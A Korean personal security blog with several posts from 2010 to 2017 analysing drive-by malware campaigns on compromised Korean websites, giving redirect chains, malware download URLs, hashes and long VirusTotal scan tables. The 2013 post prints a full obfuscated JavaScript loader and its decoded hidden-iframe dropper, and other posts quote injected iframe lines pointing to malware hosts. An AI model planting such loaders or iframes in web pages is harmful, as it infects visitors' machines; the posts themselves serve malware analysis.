posted by Kwan's 2017.04.24 15:31


회사를 퇴사하고 나서 가끔씩 글을 쓸 예정 입니다.

정보가 많이 부족하긴 하지만 악성 스크립트 (국내 + 해외) / 파일분석 등을 적을 예정 입니다.

포스팅을 하는 이유는 그냥 심심해서 입니다.


1. 발견 사이트 (유포지)

cocoalba.kr/autojump/ad_xxxx/index.html


2. 최종 파일

leeve.co.kr/apps/up.exe (현재 404)

MD5 : 0952d38bf8b3f026cb3c41c87db338a7

C&C : r.pengyou.com/fcg-bin/cgi_get_portrait.fcg?uins=2889622357

[VT 결과]

virustotal.com/ko/file/1dd1dbd6631b8b0b87d7bbab7aff004c983dbe87ba6c9e7fed851de4786e6ae1/analysis/


3. 스크립트


초기 스크립트를 확인해보면 제가 마지막으로 본 이전 버전과는 다를게 많이 없습니다.

하지만, 해당 코드를 1차적으로 디코딩을 하면 새로운 값과 기존과 다른 스크립트가 있는 것을 확인할 수 있습니다.



- 1차 디코딩 스크립트


1차적으로 디코딩된 스크립트 같은 경우에는 난독화 부분과 디코딩을 위한 연산 부분을 나눌 수가 있으며, 최종 적으로는 t=utf8to16(nbencode(nbcode(t),JbWRn$q7)) 이부분을 통해 난독화가 해제 됩니다.



- 최종 스크립트


해제된 난독화를 살펴보면, _0x4b88로 정의되어 있는 것부터 시작을 한다.

_0x4b88 같은 경우에는 취약점으로 분기될 수 있도록 배열 형식에 맞춰 사용되도록 스크립트 구문을 공격자가 생성해놓았습니다.


[스크립트]


더보기


더보기


var _0x4b88 에정의된 내용


더보기


마지막으로 취약점으로 연결할 때에는 "var jaguarx=jaguar+" 이와 같이 정의가 되어 있는 것을 볼 수 있는데, 이것은 초기 스크립트내에서 정의 되어 있는 것을 확인하시면 됩니다.

참고로, jaguar = RhRdQk 입니다.

또한, exe 파일 같은 경우에도 초기에 복잡하게 되어 있는 것처럼 보이지만 기존과 별로 차이가 없습니다.


---------------------------

웹 페이지 메시지

---------------------------

http://leeve.co.kr/apps/up.exe

---------------------------

확인   

---------------------------


취약점같은 경우에는 세부적으로 보지는 않았지만, 거의 비슷한거 같아서 추후 포스팅을 하겠습니다.


몇년만에 쓰니까 잘 안써지지만, 꾸준히 포스팅을 하겠습니다.


마지막으로 심심할때마다 뭔가를 던져주는 창훈이에게 고맙다는 말을 전합니다!


감사합니다~


posted by Kwan's 2013.02.14 20:24

우연히 해외 사이트를 보던 도중 Exploit 을 보아서 이렇게 써봅니다.

우선은 배치된 코드는 다음과 같습니다.

try{bgewg346tr++}catch(aszx){try{dsgdsg-142}catch(dsfsd){try{("".substr+"")()}catch(ehwdsh){try{window.document.body++}catch(gdsgsdg){dbshre=204;}}}}
if(dbshre){asd=0;try{d=document.createElement("div");d.innerHTML.a="asd";}catch(agdsg){asd=1;}if(!asd){e=eval;}
asgq=new Array
(1,2,99,97,28,32,93,105,94,113,101,94,104,111,42,95,94,110,64,104,93,102,95,105,112,107,59,115,
79,93,95,71,91,104,97,32,32,92,106,96,113,32,35,86,44,85,34,117,8,5,1,2,99,97,110,89,102,95,109,
36,33,52,7,4,5,117,25,95,103,111,93,25,117,8,5,1,2,94,106,95,109,102,95,105,112,38,112,108,100,
112,93,33,28,55,101,94,107,91,104,97,24,108,108,94,57,31,97,110,111,108,50,40,41,96,106,100,90,
108,98,97,101,94,104,111,48,38,105,108,106,43,101,98,97,99,112,39,93,108,106,108,104,98,104,98,
91,97,103,109,111,93,100,101,99,105,99,38,105,98,107,35,24,112,99,95,112,96,54,33,44,44,31,25,98,
96,101,95,97,110,56,35,41,41,33,27,111,108,114,102,96,57,31,112,99,95,112,96,51,43,43,44,104,113
,53,99,97,97,96,98,111,54,41,41,42,107,116,51,105,105,110,101,108,98,105,105,54,89,91,109,106,104,
109,109,95,54,104,93,95,110,53,41,41,41,42,107,116,51,109,105,107,54,40,52,33,57,56,39,98,96,109,
93,101,94,56,29,37,51,6,3,4,121,5,2,3,97,113,102,92,110,100,107,102,25,99,97,110,89,102,95,109,36,
33,116,[생략]96,35,33,52,96,41,111,93,109,59,111,112,106,98,92,112,112,93,33,33,110,110,91,32,38,
34,100,108,109,106,53,43,39,94,104,103,93,106,96,95,104,97,102,109,46,41,108,106,104,41,104,101,95,
97,110,42,96,106,104,106,107,101,102,96,89,100,106,107,109,91,103,104,97,103,97,41,108,96,105,33,36
,55,94,39,109,111,117,100,94,40,103,97,94,109,55,34,41,41,41,42,107,116,31,52,96,41,111,108,114,102,
96,42,108,104,106,56,35,40,32,53,97,42,107,109,115,103,97,38,105,105,110,101,108,98,105,105,57,31,
90,92,110,107,100,110,110,96,35,51,95,40,110,112,113,101,95,41,104,93,95,110,56,35,40,32,53,97,42,
107,109,115,103,97,38,109,105,107,57,31,41,33,54,98,38,108,95,111,61,108,109,108,100,94,109,109,
95,35,35,111,98,94,111,100,31,37,33,44,44,31,34,53,97,42,107,94,110,60,112,108,107,99,93,113,108
,94,34,34,100,93,98,97,99,112,31,37,33,44,44,31,34,53,8,5,1,2,94,106,95,109,102,95,105,112,38,96,
95,111,65,100,94,103,96,106,108,108,60,116,80,89,96,72,92,105,93,33,33,93,107,92,114,33,36,87,40,
86,40,92,108,104,94,104,95,63,96,98,102,95,36,94,34,53,8,5,1,118);
s="";for(i=0;i-637!=0;i++){if(020==0x10)s+=String.fromCharCode(1*asgq[i]-(i%5-8));}
z=s;e(z);}


asgq=new Array 로 정의 되어 있는 코드는 정상적인 아스키코드가 아닙니다.
일반 String.fromCharCode를 통해서 출력을 해보면.. 다음과 같은 문자가 나옵니다!

ca ]i^qe^ho*_^n@h]f_ipk;sO]_G[ha \j`q #V,U"u canYf_m$!4 u _go] u ^j_mf_ip&pldp]! 7e^k[ha ll^9 anol2()`jdZlbae^ho0&ilj+ebacp']ljlhbhb[agmo]decic&ibk# pc_p`6!,, b`e_an8#))! olrf`9 pc_p`3++,hq5caa`bo6))*kt3iinelbii6Y[mjhmm_6h]_n5)))*kt3mik6(4!98'b`m]e^8 %3 y aqf\ndkf canYf_m$!t o[m ^ 7 `g\ohafm(^n]Zn`Ad^g`jl!!dbjZg`#!4`)o]m;opjb\pp]!!nn[ &"dlmj5+'^hg]j`_hafm.)ljh)he_an*`jhjkef`Ydjkm[ghaga)l`i!$7^'moud^(ga^m7")))*kt 4`)olrf`*lhj8#( 5a*kmsga&iinelbii9 Z\nkdnn`#3_(npqe_)h]_n8#( 5a*kmsga&mik9 )!6b&l_o=lmld^mm_##ob^od %!,, "5a*k^n


이와 같이 정상적인 아스키코드로 나오지 않습니다.

그렇다면 다시 코드를 살펴보면 다음과 같습니다.


s="";for(i=0;i-637!=0;i++){if(020==0x10)s+=String.fromCharCode(1*asgq[i]-(i%5-8));

즉... i=0; i-637!=0;i++ ->  i-637 값이 0이 아닐때까지 루핑을 한다는 뜻입니다.
결론적으로   i-637!이 0에 도달하면 이 함수는 끝이나게 됩니다.
i++와 같이 계속 1씩 증가함으로 637이 되는순간 함수는 끝나게 됩니다.

다음오로 {if(020==0x10)s+ 은 -> 020 == 10진수일경우 s가 증가 하게 됩니다.

그렇다면 어떤한 방식으로 다시 배치를 하는걸 까요?? 바로 String.fromCharCode(1*asgq[i]-(i%5-8)); 입니다.
asgq=new Array 에서 처음이 1이니 1*1-(i->0%5-8) 이런식으로 계산을 하게 됩니다.


이를 바탕으로 연산과정을 거치면 ! 연결된 링크를 볼수 있습니다 : )



if (document.getElementsByTagName('body')[0]){
iframer();
} else {
document.write("<iframe src='http://enlargement4.pro/might/dropping_installing.php' width='10' height='10' style='width:100px;height:100px;position:absolute;left:-100px;top:0;'></iframe>");
}
function iframer(){
var f = document.createElement('iframe');f.setAttribute('src','http://enlargement4.pro/might/dropping_installing.php');f.style.left='-100px';f.style.top='0';f.style.position='absolute';f.style.left='0';f.style.top='0';f.setAttribute('width','10');f.setAttribute('height','10');
document.getElementsByTagName('body')[0].appendChild(f);
}


바이러스 토탈 링크 :
https://www.virustotal.com/ko/file/becc92d0fa7e355e231c3b9da797a5e8fa9b39ef79ab6da48e98b5e20e1d685a/analysis/1360839068/

우선 처음으로 작성을 해보았는데.. 부족한 접이 있더라도 이해해 주세요~
틀린점이 있다면 지적을 해주셔도 좋습니다 : )

마지막으로 도움을 주신 바이올렛님께 감사를 드립니다 : )


posted by Kwan's 2011.01.02 23:51
기존의 바로 악성코드 받는 방식이 아닌 스크립트 삽입을 통해서 연결되기에 이렇게 글을 써 봅니다.


네이트온 악성코드는 기존의 바로 받는 방식이었지만 지금은 다양하게 유포되고 있습니다. 최근에 따라 이렇게 보여지고 있으므로 글로 남겨 봅니다. 어제 받은 네이트온 악성코드 쪽지 입니다. 링크를 클릭시 기존에는 바로 다운로드 링크로 넘어갔지만 지금은 그 사이트 안에 코드삽입을 해놓으므로 악성코드를 감염시키는 역활을 합니다 !

위에 링크에 따라 들어가면 취약한 한 초등학교 홈페이지로 넘어갑니다.


이와 같이 보이는곳에는 아무렇지 않은 현상이 나타납니다. 하지만 그안에 소스 자체를 본다면 이 사이트가 또 다른 사이트와 연결되는 스크립트가 있다는 것을 알 수 있습니다. 자세한 소스를 본다면 이렇게 나타나 있습니다.
 

 [원본 소스]
document.write(String.fromCharCode(60,105,102,114,97,109,101,32,102,114,97,109,101,98,(중략),62,32));<!--
-->

이 스트립트를 실행시키면 다음과 같습니다.

[스크립트 실행 후]

<iframe frameborder=0 src=http://www.rkcg.org/생략/생략/members/index.html width=100 height=1 scrolling=no></iframe>


이와 같이 하나의 경유지로 다시 연결되는것을 볼 수 있습니다. 해당 사이트는 현재도 열려 있으며 악성코드에 영향을 받으니 조심하시기 바랍니다.
다시 본론으로 들어가 index.html 을 따라 들어가 보겠습니다.

해당 사이트의 연결 되어 있는 곳은 다음과 같습니다.

http://www.rkcg.org/생략/생략/style.css
http://www.rkcg.org/생략/생략/members/main.html
http://www.rkcg.org/생략/생략/members/in.js
http://www.talkpic.com/생략/생략/js/ajax.js

style.css : 현재 HTTP/1.1 404 Not Found

in.js :
http://www.rkcg.org/생략/생략/members/ff10.htm
→ ff10.htm → ie.html , ff.html → cosplay.swf 연결
cosplay.swf : 취약점 이용 swf !!

ajax.js : 별거 없음 !!

main.html : http://www.rkcg.org/생략/생략/members/kr1.html 연결 !!

메인 악성코드 연결지인 main.html로 넘어가볼까요??
먼저 함수값은 두개가 주어 졌습니다. 저같은 경우는 거의 그냥 코드 대입으로 해서 스크립트를 실행 시켜 보았습니다.

function AAAA(){
var ss =Array(60,105,102,114,97,109,101,32,102,114,97,109,101,(중략),105,102,114,97,109,101,62);

function BBBB(){
var ss2 =Array(60,105,102,114,97,109,101,32,102,114,97,109,101,(중략),105,102,114,97,109,101,62);

저 같은 경우는 두 코드를 아래와 같이 대입하는 방법을 썼습니다 !

document.write(String.fromCharCode());

위에의 코드를 실행시켜 보면 안보이던 사이트가 다음과 같이 등장 합니다.

<iframe frameborder=0 src=kr1.html width=100 height=1 scrolling=no></iframe>
<iframe frameborder=0 src=kr2.html width=100 height=1 scrolling=no></iframe>

이런 과정을 통해서 최종스크립트인 kr1.html 과 kr2.html을 찾을 수 있었습니다.
마지막 최종 파일은 링크로 대신합니다 !!

kr1.html : http://www.ycma.net/생략/생략/top.jpg
kr2.html : http://www.ycma.net/생략/생략/top.jpg

연결 하는 최종 파일위치는 둘다 같습니다 !!

* 이용된 취약점

kr1.html : MS10-018

더보기


kr2.html : MS09-002, CVE-2009-0075

더보기


posted by Kwan's 2010.07.10 17:09
현재 보안xx 에는 악성코드 js가 삽입 되어있다 !!


사이트에서 뉴스를 보던중 이상한 링크를 발견 하였다. 처음에는 설마 하였지만 파일을 살펴보니 이상한 사이트로 연결되는것을 보았다.
이 파일은 온라인 게임핵으로 보이며 계정탈취를 위해 쓰이는 것으로 판단이 되어진다.
이 파일은 현재 내가 글쓰고 있는 이시간에도 소스안에 박혀있으며 뉴스 페이지인만큼 많은 피해가 우려가 된다. 역시 주말에는 악성코드의 놀이터인거 같다 !!

원본 페이지 : http://www.boxx.com/news/articleView.html?idxno=2507
유포 페이지 : http://58xxx.com/js.js
~> http://58xxx.com/ad.htm
~> http://58xxx.com/top.jpg
     ~> 최종파일 다운 : http://58xxx.com/tt.exe
~> http://58xxx.com/cook.jpg
~> http://58xxx.com/cook1.jpg
~> http://58xxx.com/root.jpg

[ 바이러스 토탈 ]

검사 파일: ad.htm 전송 시각: 2010.07.10 07:51:34 (UTC)
안티바이러스 엔진 버전 정의 날짜 검사 결과
a-squared 5.0.0.31 2010.07.10 -
AhnLab-V3 2010.07.10.00 2010.07.09 -
AntiVir 8.2.4.10 2010.07.09 -
Antiy-AVL 2.0.3.7 2010.07.09 -
Authentium 5.2.0.5 2010.07.10 -
Avast 4.8.1351.0 2010.07.10 -
Avast5 5.0.332.0 2010.07.10 -
AVG 9.0.0.836 2010.07.09 -
BitDefender 7.2 2010.07.10 -
CAT-QuickHeal 11.00 2010.07.10 -
ClamAV 0.96.0.3-git 2010.07.10 -
Comodo 5377 2010.07.09 -
DrWeb 5.0.2.03300 2010.07.10 -
eSafe 7.0.17.0 2010.07.08 -
eTrust-Vet 36.1.7696 2010.07.10 -
F-Prot 4.6.1.107 2010.07.09 -
F-Secure 9.0.15370.0 2010.07.09 -
Fortinet 4.1.143.0 2010.07.09 -
GData 21 2010.07.10 -
Ikarus T3.1.1.84.0 2010.07.10 -
Jiangmin 13.0.900 2010.07.10 -
Kaspersky 7.0.0.125 2010.07.10 Exploit.JS.CVE-2010-0806.l
McAfee 5.400.0.1158 2010.07.10 -
McAfee-GW-Edition 2010.1 2010.07.05 Heuristic.BehavesLike.JS.BufferOverflow.A
Microsoft 1.5902 2010.07.10 -
NOD32 5266 2010.07.09 -
Norman 6.05.11 2010.07.09 -
nProtect 2010-07-09.01 2010.07.09 -
Panda 10.0.2.7 2010.07.09 -
PCTools 7.0.3.5 2010.07.10 -
Prevx 3.0 2010.07.10 -
Rising 22.55.04.04 2010.07.09 -
Sophos 4.55.0 2010.07.10 Mal/Badsrc-D
Sunbelt 6566 2010.07.10 -
Symantec 20101.1.0.89 2010.07.10 -
TheHacker 6.5.2.1.311 2010.07.08 -
TrendMicro 9.120.0.1004 2010.07.10 -
TrendMicro-HouseCall 9.120.0.1004 2010.07.10 -
VBA32 3.12.12.6 2010.07.09 -
ViRobot 2010.6.29.3912 2010.07.10 -
VirusBuster 5.0.27.0 2010.07.09 -
 
추가 정보
File size: 1589 bytes
MD5...: cece023c94c964e87e18bada35cba08a
SHA1..: a4f3afe5bc01322147bfde786ebbdfcef23acda1
SHA256: 6f4fc46e4dfd66395a4409854deca6226171a11cb6aae462339cab8574dcad75
검사 파일: cook.jpg 전송 시각: 2010.07.10 07:51:37 (UTC)
안티바이러스 엔진 버전 정의 날짜 검사 결과
a-squared 5.0.0.31 2010.07.10 -
AhnLab-V3 2010.07.10.00 2010.07.09 -
AntiVir 8.2.4.10 2010.07.09 -
Antiy-AVL 2.0.3.7 2010.07.09 -
Authentium 5.2.0.5 2010.07.10 -
Avast 4.8.1351.0 2010.07.10 -
Avast5 5.0.332.0 2010.07.10 -
AVG 9.0.0.836 2010.07.09 -
BitDefender 7.2 2010.07.10 -
CAT-QuickHeal 11.00 2010.07.10 -
ClamAV 0.96.0.3-git 2010.07.10 -
Comodo 5377 2010.07.09 -
DrWeb 5.0.2.03300 2010.07.10 -
eSafe 7.0.17.0 2010.07.08 -
eTrust-Vet 36.1.7696 2010.07.10 -
F-Prot 4.6.1.107 2010.07.09 -
F-Secure 9.0.15370.0 2010.07.09 -
Fortinet 4.1.143.0 2010.07.09 -
GData 21 2010.07.10 -
Ikarus T3.1.1.84.0 2010.07.10 -
Jiangmin 13.0.900 2010.07.10 -
Kaspersky 7.0.0.125 2010.07.10 -
McAfee 5.400.0.1158 2010.07.10 -
McAfee-GW-Edition 2010.1 2010.07.05 -
Microsoft 1.5902 2010.07.10 -
NOD32 5266 2010.07.09 -
Norman 6.05.11 2010.07.09 -
nProtect 2010-07-09.01 2010.07.09 -
Panda 10.0.2.7 2010.07.09 -
PCTools 7.0.3.5 2010.07.10 -
Prevx 3.0 2010.07.10 -
Rising 22.55.04.04 2010.07.09 -
Sophos 4.55.0 2010.07.10 -
Sunbelt 6566 2010.07.10 -
Symantec 20101.1.0.89 2010.07.10 -
TheHacker 6.5.2.1.311 2010.07.08 -
TrendMicro 9.120.0.1004 2010.07.10 -
TrendMicro-HouseCall 9.120.0.1004 2010.07.10 -
VBA32 3.12.12.6 2010.07.09 -
ViRobot 2010.6.29.3912 2010.07.10 -
VirusBuster 5.0.27.0 2010.07.09 -
 
추가 정보
File size: 428 bytes
MD5...: f87904eaef8ae79f2a68919fa183e9a3
SHA1..: a4609a8faa5606d50ce07ad97053e6e9763d6ae8
SHA256: 4f6408d2b48a2ba706c6cbe16c8c849c3d296d199f9eaf3a851cf819912b13f0
검사 파일: cook1.jpg 전송 시각: 2010.07.10 07:54:30 (UTC)
안티바이러스 엔진 버전 정의 날짜 검사 결과
a-squared 5.0.0.31 2010.07.10 -
AhnLab-V3 2010.07.10.00 2010.07.09 -
AntiVir 8.2.4.10 2010.07.09 -
Antiy-AVL 2.0.3.7 2010.07.09 -
Authentium 5.2.0.5 2010.07.10 -
Avast 4.8.1351.0 2010.07.10 -
Avast5 5.0.332.0 2010.07.10 -
AVG 9.0.0.836 2010.07.09 -
BitDefender 7.2 2010.07.10 -
CAT-QuickHeal 11.00 2010.07.10 -
ClamAV 0.96.0.3-git 2010.07.10 -
Comodo 5377 2010.07.09 -
DrWeb 5.0.2.03300 2010.07.10 -
eSafe 7.0.17.0 2010.07.08 -
eTrust-Vet 36.1.7696 2010.07.10 -
F-Prot 4.6.1.107 2010.07.09 -
F-Secure 9.0.15370.0 2010.07.09 -
Fortinet 4.1.143.0 2010.07.09 -
GData 21 2010.07.10 -
Ikarus T3.1.1.84.0 2010.07.10 -
Jiangmin 13.0.900 2010.07.10 -
Kaspersky 7.0.0.125 2010.07.10 -
McAfee 5.400.0.1158 2010.07.10 -
McAfee-GW-Edition 2010.1 2010.07.05 -
Microsoft 1.5902 2010.07.10 -
NOD32 5266 2010.07.09 -
Norman 6.05.11 2010.07.09 -
nProtect 2010-07-09.01 2010.07.09 -
Panda 10.0.2.7 2010.07.09 -
PCTools 7.0.3.5 2010.07.10 -
Prevx 3.0 2010.07.10 -
Rising 22.55.04.04 2010.07.09 -
Sophos 4.55.0 2010.07.10 -
Sunbelt 6566 2010.07.10 -
Symantec 20101.1.0.89 2010.07.10 -
TheHacker 6.5.2.1.311 2010.07.08 -
TrendMicro 9.120.0.1004 2010.07.10 -
TrendMicro-HouseCall 9.120.0.1004 2010.07.10 -
VBA32 3.12.12.6 2010.07.09 -
ViRobot 2010.6.29.3912 2010.07.10 -
VirusBuster 5.0.27.0 2010.07.09 -
 
추가 정보
File size: 3349 bytes
MD5...: 59a3b5c3541ff9b411b14f90a7523d86
SHA1..: 9acda0680ca1e5e4493c85484a3734d395f74691
SHA256: 13ce3060a82619b76c430af3251d2b138eea57e84737da8f824cc365526625b3
검사 파일: root.jpg 전송 시각: 2010.07.10 07:54:34 (UTC)
안티바이러스 엔진 버전 정의 날짜 검사 결과
a-squared 5.0.0.31 2010.07.10 -
AhnLab-V3 2010.07.10.00 2010.07.09 -
AntiVir 8.2.4.10 2010.07.09 -
Antiy-AVL 2.0.3.7 2010.07.09 -
Authentium 5.2.0.5 2010.07.10 -
Avast 4.8.1351.0 2010.07.10 -
Avast5 5.0.332.0 2010.07.10 -
AVG 9.0.0.836 2010.07.09 -
BitDefender 7.2 2010.07.10 -
CAT-QuickHeal 11.00 2010.07.10 -
ClamAV 0.96.0.3-git 2010.07.10 -
Comodo 5377 2010.07.09 -
DrWeb 5.0.2.03300 2010.07.10 -
eSafe 7.0.17.0 2010.07.08 -
eTrust-Vet 36.1.7696 2010.07.10 -
F-Prot 4.6.1.107 2010.07.09 -
F-Secure 9.0.15370.0 2010.07.09 -
Fortinet 4.1.143.0 2010.07.09 -
GData 21 2010.07.10 -
Ikarus T3.1.1.84.0 2010.07.10 -
Jiangmin 13.0.900 2010.07.10 -
Kaspersky 7.0.0.125 2010.07.10 -
McAfee 5.400.0.1158 2010.07.10 -
McAfee-GW-Edition 2010.1 2010.07.05 -
Microsoft 1.5902 2010.07.10 -
NOD32 5266 2010.07.09 -
Norman 6.05.11 2010.07.09 -
nProtect 2010-07-09.01 2010.07.09 -
Panda 10.0.2.7 2010.07.09 -
PCTools 7.0.3.5 2010.07.10 -
Prevx 3.0 2010.07.10 -
Rising 22.55.04.04 2010.07.09 -
Sophos 4.55.0 2010.07.10 -
Sunbelt 6566 2010.07.10 -
Symantec 20101.1.0.89 2010.07.10 -
TheHacker 6.5.2.1.311 2010.07.08 -
TrendMicro 9.120.0.1004 2010.07.10 -
TrendMicro-HouseCall 9.120.0.1004 2010.07.10 -
VBA32 3.12.12.6 2010.07.09 -
ViRobot 2010.6.29.3912 2010.07.10 -
VirusBuster 5.0.27.0 2010.07.09 -
 
추가 정보
File size: 163 bytes
MD5...: ab0effeb99cdb1a02da2e2897b4f6b23
SHA1..: 08d44f54df18da4e761b5379371833168aa4feb7
SHA256: 25e775d8df15348f9ddb19ef609dc890f1e88ed12f04731cd4d8120371d66128
검사 파일: top.jpg 전송 시각: 2010.07.10 07:59:28 (UTC)
안티바이러스 엔진 버전 정의 날짜 검사 결과
a-squared 5.0.0.31 2010.07.10 -
AhnLab-V3 2010.07.10.00 2010.07.09 -
AntiVir 8.2.4.10 2010.07.09 -
Antiy-AVL 2.0.3.7 2010.07.09 -
Authentium 5.2.0.5 2010.07.10 -
Avast 4.8.1351.0 2010.07.10 -
Avast5 5.0.332.0 2010.07.10 -
AVG 9.0.0.836 2010.07.09 -
BitDefender 7.2 2010.07.10 -
CAT-QuickHeal 11.00 2010.07.10 -
ClamAV 0.96.0.3-git 2010.07.10 -
Comodo 5377 2010.07.09 -
DrWeb 5.0.2.03300 2010.07.10 -
eTrust-Vet 36.1.7696 2010.07.10 -
F-Prot 4.6.1.107 2010.07.09 -
F-Secure 9.0.15370.0 2010.07.09 -
Fortinet 4.1.143.0 2010.07.09 -
GData 21 2010.07.10 -
Ikarus T3.1.1.84.0 2010.07.10 -
Jiangmin 13.0.900 2010.07.10 -
Kaspersky 7.0.0.125 2010.07.10 -
McAfee 5.400.0.1158 2010.07.10 -
McAfee-GW-Edition 2010.1 2010.07.05 -
Microsoft 1.5902 2010.07.10 -
NOD32 5266 2010.07.09 -
Norman 6.05.11 2010.07.09 -
nProtect 2010-07-09.01 2010.07.09 -
Panda 10.0.2.7 2010.07.09 -
PCTools 7.0.3.5 2010.07.10 -
Prevx 3.0 2010.07.10 -
Rising 22.55.04.04 2010.07.09 -
Sophos 4.55.0 2010.07.10 -
Sunbelt 6566 2010.07.10 -
Symantec 20101.1.0.89 2010.07.10 -
TheHacker 6.5.2.1.311 2010.07.08 -
TrendMicro 9.120.0.1004 2010.07.10 -
TrendMicro-HouseCall 9.120.0.1004 2010.07.10 -
VBA32 3.12.12.6 2010.07.09 -
ViRobot 2010.6.29.3912 2010.07.10 -
VirusBuster 5.0.27.0 2010.07.09 -
 
추가 정보
File size: 572 bytes
MD5...: 72da5e66fcb8147da672fff8c689432f
SHA1..: a55d72c19013fef27e84617cb7ff6bf171f78b3c
SHA256: a8e7a5591fc7214c80975a9cfd174891e7b96611d4da26fde330301417528fc8
검사 파일: tt.exe 전송 시각: 2010.07.10 08:03:23 (UTC)
안티바이러스 엔진 버전 정의 날짜 검사 결과
a-squared 5.0.0.31 2010.07.10 -
AhnLab-V3 2010.07.10.00 2010.07.09 Dropper/Win32.OnlineGameHack
AntiVir 8.2.4.10 2010.07.09 TR/Downloader.Gen
Antiy-AVL 2.0.3.7 2010.07.09 -
Authentium 5.2.0.5 2010.07.10 -
Avast 4.8.1351.0 2010.07.10 -
Avast5 5.0.332.0 2010.07.10 -
AVG 9.0.0.836 2010.07.09 Generic18.AANL
BitDefender 7.2 2010.07.10 -
CAT-QuickHeal 11.00 2010.07.10 -
ClamAV 0.96.0.3-git 2010.07.10 -
Comodo 5377 2010.07.09 -
DrWeb 5.0.2.03300 2010.07.10 -
eTrust-Vet 36.1.7696 2010.07.10 -
F-Prot 4.6.1.107 2010.07.09 -
F-Secure 9.0.15370.0 2010.07.09 -
Fortinet 4.1.143.0 2010.07.09 -
GData 21 2010.07.10 -
Ikarus T3.1.1.84.0 2010.07.10 -
Jiangmin 13.0.900 2010.07.10 Trojan/Vilsel.jmu
Kaspersky 7.0.0.125 2010.07.10 -
McAfee 5.400.0.1158 2010.07.10 -
McAfee-GW-Edition 2010.1 2010.07.05 Heuristic.BehavesLike.Win32.Dropper.H
Microsoft 1.5902 2010.07.10 -
NOD32 5266 2010.07.09 -
Norman 6.05.11 2010.07.09 -
nProtect 2010-07-09.01 2010.07.09 -
Panda 10.0.2.7 2010.07.09 -
PCTools 7.0.3.5 2010.07.10 -
Prevx 3.0 2010.07.10 -
Rising 22.55.04.04 2010.07.09 -
Sophos 4.55.0 2010.07.10 Mal/GamePSW-I
Sunbelt 6566 2010.07.10 -
Symantec 20101.1.0.89 2010.07.10 -
TheHacker 6.5.2.1.311 2010.07.08 -
TrendMicro 9.120.0.1004 2010.07.10 -
TrendMicro-HouseCall 9.120.0.1004 2010.07.10 -
VBA32 3.12.12.6 2010.07.09 -
ViRobot 2010.6.29.3912 2010.07.10 -
VirusBuster 5.0.27.0 2010.07.09 -
 
추가 정보
File size: 81920 bytes
MD5...: fd12bb1800d6fb4aac838e47ec9dac25
SHA1..: ee7011a6f85907591425d96751c4ace6943dae69
SHA256: d1c6030f80ad761f316b999eac1b6eff801124f37b2ba352daf97bb752e051f9

[ 이전글 ]

[security/악성코드 유포] - 휴대폰 통신사 큐x텔 악성 스크립트 삽입 !!
[security/악성코드 유포] - http://cpm2.XX66.org:88/Xo/Xi05.htm : JS:CVE-2010-0806-AK
posted by Kwan's 2010.07.09 14:34
지금 현재 모 휴대폰 통신사 큐x텔에는 악성 아이프레임이 삽입되어서 연결하고 있는것으로 보인다,.
사이트 내 소스를 보면 금방 악성코드가 삽입되어 있는것을 볼 수가 있다 !!
</script>
</head>
<iframe height=0 width=0 Src= http://110.xx.139.2x1/css/Lib.asp </iframe>
<body style="margin:0" bgcolor="#ffffff">
<script language="JavaScript">flash('/inc/flash/main.swf','936','232','1');</script>

몇주동안 잠잠 하더니 자시 한번 악성코드에 감염된거 같다. 2주만에 다시 그러니 관리자가 뭐하고 있는지. 그래도 스크립트는 오래된것이 아니라 그런지 대부분의 업체에서 전부 진단을 함으로 신고 할 필요가 없을듯 싶다. 최종파일 위치까지 예전이랑 똑같아서 이제는 그럴려니 하고 넘어간다. 그래도 통신사인데 휴대폰 업데이트나 , 정보를 찾아가는 사람들이 백신이 없다면 감염되기 쉽상일꺼 같다. 빨리 관리자 분이 보셔서 삭제하길 희망한다. !!

감염 사이트 : http://www.cuxxtel.com
악성유포지 :  http://110.xx.139.2x1/css/Lib.asp
최종파일 : http://61.1xx.x.93/css/isa.exe

[바이러스 토탈 결과]

검사 파일: lib.asp 전송 시각: 2010.07.09 05:04:15 (UTC)
안티바이러스 엔진 버전 정의 날짜 검사 결과
a-squared 5.0.0.31 2010.07.09 Virus.JS.Downloader.QJ!IK
AhnLab-V3 2010.07.09.00 2010.07.08 JS/Downloader
AntiVir 8.2.4.10 2010.07.08 JS/Drop.A.5851
Antiy-AVL 2.0.3.7 2010.07.08 -
Authentium 5.2.0.5 2010.07.09 -
Avast 4.8.1351.0 2010.07.08 JS:Downloader-QJ
Avast5 5.0.332.0 2010.07.08 JS:Downloader-QJ
AVG 9.0.0.836 2010.07.08 Script/Exploit
BitDefender 7.2 2010.07.09 Trojan.Script.407264
CAT-QuickHeal 11.00 2010.07.09 -
ClamAV 0.96.0.3-git 2010.07.08 -
Comodo 5368 2010.07.09 -
DrWeb 5.0.2.03300 2010.07.09 -
eSafe 7.0.17.0 2010.07.08 -
eTrust-Vet 36.1.7693 2010.07.08 -
F-Prot 4.6.1.107 2010.07.08 JS/Crypted.GA.gen
F-Secure 9.0.15370.0 2010.07.09 Trojan.Script.407264
Fortinet 4.1.133.0 2010.07.08 -
GData 21 2010.07.09 Trojan.Script.407264
Ikarus T3.1.1.84.0 2010.07.09 Virus.JS.Downloader.QJ
Jiangmin 13.0.900 2010.07.08 -
Kaspersky 7.0.0.125 2010.07.09 Trojan-Downloader.JS.Agent.fhk
McAfee 5.400.0.1158 2010.07.09 -
McAfee-GW-Edition 2010.1 2010.07.05 Heuristic.BehavesLike.JS.Exploit.A
Microsoft 1.5902 2010.07.08 -
NOD32 5263 2010.07.08 probably a variant of JS/TrojanDownloader.Agent
Norman 6.05.11 2010.07.08 -
nProtect 2010-07-08.01 2010.07.08 Script-JS/W32.Agent.WH
Panda 10.0.2.7 2010.07.08 -
PCTools 7.0.3.5 2010.07.09 -
Prevx 3.0 2010.07.09 -
Rising 22.55.04.01 2010.07.09 Trojan.DL.Script.JS.Agent.qx
Sophos 4.54.0 2010.07.09 JS/Agent-MZX
Sunbelt 6562 2010.07.09 -
Symantec 20101.1.0.89 2010.07.09 -
TheHacker 6.5.2.1.311 2010.07.08 -
TrendMicro 9.120.0.1004 2010.07.09 -
TrendMicro-HouseCall 9.120.0.1004 2010.07.09 -
VBA32 3.12.12.6 2010.07.08 -
ViRobot 2010.6.29.3912 2010.07.09 JS.S.Agent.5851
VirusBuster 5.0.27.0 2010.07.08 -
 
추가 정보
File size: 5851 bytes
MD5...: 51e7b5fe2fa7ef45de3b3671ba91b011
SHA1..: e6e7dd63b6de5b8b24c5a91d001d23a01de8186b
SHA256: 1d373a0cd0b239795370655695fb7db3138ab1aa1a4cb4df676f72150d82a7b9
